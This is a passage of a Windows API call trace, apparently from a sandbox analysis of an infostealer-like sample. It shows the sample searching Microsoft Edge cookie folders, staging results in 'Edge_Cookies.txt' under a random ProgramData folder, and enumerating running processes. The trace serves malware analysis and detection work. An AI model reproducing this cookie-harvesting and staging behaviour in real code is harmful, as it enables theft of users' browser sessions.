(HeapHandle=0x2360000, Flags=0x0, Size=0x8) returned 0x2361418 [0142.044] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x2361428 [0142.044] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2361448 [0142.044] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x2361458 [0142.045] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\???" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\???"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f170, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.133] GetLastError () returned 0x3 [0142.133] GetLastError () returned 0x3 [0142.133] SetLastError (dwErrCode=0x3) [0142.133] GetLastError () returned 0x3 [0142.133] SetLastError (dwErrCode=0x3) [0142.133] GetLastError () returned 0x3 [0142.133] SetLastError (dwErrCode=0x3) [0142.140] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361270 | out: hHeap=0x2360000) returned 1 [0142.140] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361448 | out: hHeap=0x2360000) returned 1 [0142.140] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0142.140] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610f8 | out: hHeap=0x2360000) returned 1 [0142.141] CloseHandle (hObject=0x2f8) returned 1 [0142.142] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23612c8 | out: hHeap=0x2360000) returned 1 [0142.142] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361218 | out: hHeap=0x2360000) returned 1 [0142.142] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0142.142] GetLastError () returned 0x3 [0142.142] SetLastError (dwErrCode=0x3) [0142.143] GetLastError () returned 0x3 [0142.143] SetLastError (dwErrCode=0x3) [0142.143] GetLastError () returned 0x3 [0142.143] SetLastError (dwErrCode=0x3) [0142.143] GetLastError () returned 0x3 [0142.143] SetLastError (dwErrCode=0x3) [0142.143] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x23610d0 [0142.143] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2361218 [0142.143] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0142.143] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361428 [0142.143] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340048 [0142.143] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340330 [0142.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340330, cbMultiByte=123, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 123 [0142.143] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xf6) returned 0x33403b8 [0142.143] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340330, cbMultiByte=123, lpWideCharStr=0x33403b8, cchWideChar=123 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.cookie") returned 123 [0142.144] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x100) returned 0x33404b8 [0142.144] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403b8 | out: hHeap=0x2360000) returned 1 [0142.144] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.cookie", lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x790260, ftCreationTime.dwHighDateTime=0x790260, ftLastAccessTime.dwLowDateTime=0x13, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x85ee18, ftLastWriteTime.dwHighDateTime=0x19f1e0, nFileSizeHigh=0x23604c2, nFileSizeLow=0xa6bbbdef, dwReserved0=0xfffffffe, dwReserved1=0x7000007, cFileName="Ҙ瞒", cAlternateFileName="￿￿\跟岀砀　昀∀)) returned 0xffffffff [0142.213] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404b8 | out: hHeap=0x2360000) returned 1 [0142.213] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1c) returned 0x23610d0 [0142.213] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x790260, ftCreationTime.dwHighDateTime=0x790260, ftLastAccessTime.dwLowDateTime=0x13, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x85ee18, ftLastWriteTime.dwHighDateTime=0x19f1e0, nFileSizeHigh=0x23604c2, nFileSizeLow=0xa6bbbdef, dwReserved0=0xfffffffe, dwReserved1=0x7000007, cFileName="Ҙ瞒", cAlternateFileName="￿￿\跟岀砀　昀∀)) returned 0 [0142.213] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0142.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361428, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0142.213] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x32) returned 0x23612a0 [0142.213] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361428, cbMultiByte=25, lpWideCharStr=0x23612a0, cchWideChar=25 | out: lpWideCharStr="Cookies\\Edge_Cookies.txt") returned 25 [0142.213] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x33400d0 [0142.213] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23612a0 | out: hHeap=0x2360000) returned 1 [0142.214] CreateFileW (lpFileName="Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies\\edge_cookies.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f1f0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0142.215] GetFileType (hFile=0x2f8) returned 0x1 [0142.216] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.216] GetLastError () returned 0x83 [0142.217] GetLastError () returned 0x83 [0142.217] SetLastError (dwErrCode=0x83) [0142.217] GetLastError () returned 0x83 [0142.217] SetLastError (dwErrCode=0x83) [0142.217] GetLastError () returned 0x83 [0142.218] SetLastError (dwErrCode=0x83) [0142.218] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0142.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ҙ瞒", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0142.218] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3) returned 0x23610f8 [0142.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ҙ瞒", cchWideChar=3, lpMultiByteStr=0x23610f8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="??", lpUsedDefaultChar=0x0) returned 3 [0142.218] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610f8 | out: hHeap=0x2360000) returned 1 [0142.218] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340330 [0142.218] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610f8 [0142.220] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x23612a0 [0142.220] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23612c0 [0142.220] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\??" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\??"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f170, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.222] GetLastError () returned 0x3 [0142.223] GetLastError () returned 0x3 [0142.223] SetLastError (dwErrCode=0x3) [0142.223] GetLastError () returned 0x3 [0142.223] SetLastError (dwErrCode=0x3) [0142.223] GetLastError () returned 0x3 [0142.223] SetLastError (dwErrCode=0x3) [0142.223] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0142.223] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23612c0 | out: hHeap=0x2360000) returned 1 [0142.223] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23612a0 | out: hHeap=0x2360000) returned 1 [0142.223] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610f8 | out: hHeap=0x2360000) returned 1 [0142.224] CloseHandle (hObject=0x2f8) returned 1 [0142.224] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0142.224] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0142.224] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0142.224] GetLastError () returned 0x3 [0142.224] SetLastError (dwErrCode=0x3) [0142.224] GetLastError () returned 0x3 [0142.224] SetLastError (dwErrCode=0x3) [0142.224] GetLastError () returned 0x3 [0142.224] SetLastError (dwErrCode=0x3) [0142.225] GetLastError () returned 0x3 [0142.225] SetLastError (dwErrCode=0x3) [0142.225] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340048 [0142.225] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361218 | out: hHeap=0x2360000) returned 1 [0142.225] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x2361428 [0142.225] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2361218 [0142.225] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340330 [0142.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340330, cbMultiByte=120, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 120 [0142.225] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xf0) returned 0x33403b8 [0142.225] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3340330, cbMultiByte=120, lpWideCharStr=0x33403b8, cchWideChar=120 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.txt") returned 120 [0142.225] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xf0) returned 0x33404b0 [0142.225] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403b8 | out: hHeap=0x2360000) returned 1 [0142.225] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*.txt", lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x790260, ftCreationTime.dwHighDateTime=0x790260, ftLastAccessTime.dwLowDateTime=0x1f, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x851570, ftLastWriteTime.dwHighDateTime=0x19f1e0, nFileSizeHigh=0x23604c2, nFileSizeLow=0xa6bbbdef, dwReserved0=0xfffffffe, dwReserved1=0x7000007, cFileName="Ҙ瞒", cAlternateFileName="￿￿\跟岀砀　昀∀)) returned 0xffffffff [0142.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404b0 | out: hHeap=0x2360000) returned 1 [0142.228] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x1c) returned 0x23610d0 [0142.228] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x19f0b0 | out: lpFindFileData=0x19f0b0*(dwFileAttributes=0x7000007, ftCreationTime.dwLowDateTime=0x790260, ftCreationTime.dwHighDateTime=0x790260, ftLastAccessTime.dwLowDateTime=0x1f, ftLastAccessTime.dwHighDateTime=0x2400ebcf, ftLastWriteTime.dwLowDateTime=0x851570, ftLastWriteTime.dwHighDateTime=0x19f1e0, nFileSizeHigh=0x23604c2, nFileSizeLow=0xa6bbbdef, dwReserved0=0xfffffffe, dwReserved1=0x7000007, cFileName="Ҙ瞒", cAlternateFileName="￿￿\跟岀砀　昀∀)) returned 0 [0142.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0142.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361428, cbMultiByte=25, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 25 [0142.228] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x32) returned 0x23612a0 [0142.228] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2361428, cbMultiByte=25, lpWideCharStr=0x23612a0, cchWideChar=25 | out: lpWideCharStr="Cookies\\Edge_Cookies.txt") returned 25 [0142.228] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x33400d0 [0142.228] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23612a0 | out: hHeap=0x2360000) returned 1 [0142.229] CreateFileW (lpFileName="Cookies\\Edge_Cookies.txt" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\files\\cookies\\edge_cookies.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f1f0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0142.229] GetFileType (hFile=0x2f8) returned 0x1 [0142.229] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0142.229] GetLastError () returned 0x83 [0142.229] GetLastError () returned 0x83 [0142.229] SetLastError (dwErrCode=0x83) [0142.229] GetLastError () returned 0x83 [0142.229] SetLastError (dwErrCode=0x83) [0142.230] GetLastError () returned 0x83 [0142.230] SetLastError (dwErrCode=0x83) [0142.230] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0142.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ҙ瞒", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0142.230] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3) returned 0x23610f8 [0142.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ҙ瞒", cchWideChar=3, lpMultiByteStr=0x23610f8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="??", lpUsedDefaultChar=0x0) returned 3 [0142.230] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610f8 | out: hHeap=0x2360000) returned 1 [0142.230] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x3340330 [0142.230] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23610f8 [0142.231] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x18) returned 0x23612a0 [0142.231] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x23612c0 [0142.232] CreateFileA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\??" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\??"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19f170, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.234] GetLastError () returned 0x3 [0142.234] GetLastError () returned 0x3 [0142.235] SetLastError (dwErrCode=0x3) [0142.235] GetLastError () returned 0x3 [0142.235] SetLastError (dwErrCode=0x3) [0142.235] GetLastError () returned 0x3 [0142.235] SetLastError (dwErrCode=0x3) [0142.235] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340330 | out: hHeap=0x2360000) returned 1 [0142.235] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23612c0 | out: hHeap=0x2360000) returned 1 [0142.235] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23612a0 | out: hHeap=0x2360000) returned 1 [0142.235] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610f8 | out: hHeap=0x2360000) returned 1 [0142.236] CloseHandle (hObject=0x2f8) returned 1 [0142.236] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23610d0 | out: hHeap=0x2360000) returned 1 [0142.236] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361218 | out: hHeap=0x2360000) returned 1 [0142.236] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361428 | out: hHeap=0x2360000) returned 1 [0142.236] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0142.236] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0142.236] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4) returned 0x2361428 [0142.236] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f8 [0142.295] Process32First (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.296] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x75, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0142.298] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0142.299] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.299] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0142.301] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0142.302] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0142.303] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0142.304] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0142.305] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.307] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.308] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x200, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0142.309] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.311] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.323] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.325] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.327] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.329] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.330] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.332] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0142.333] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x60, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0142.334] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x620, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0142.335] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0142.336] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x218, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.337] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0142.339] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0142.341] Process32Next (in: hSnapshot=0x2f8, lppe=0x19f4fc | out: lppe=0x19f4fc*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0142.342] Process32Next (in: 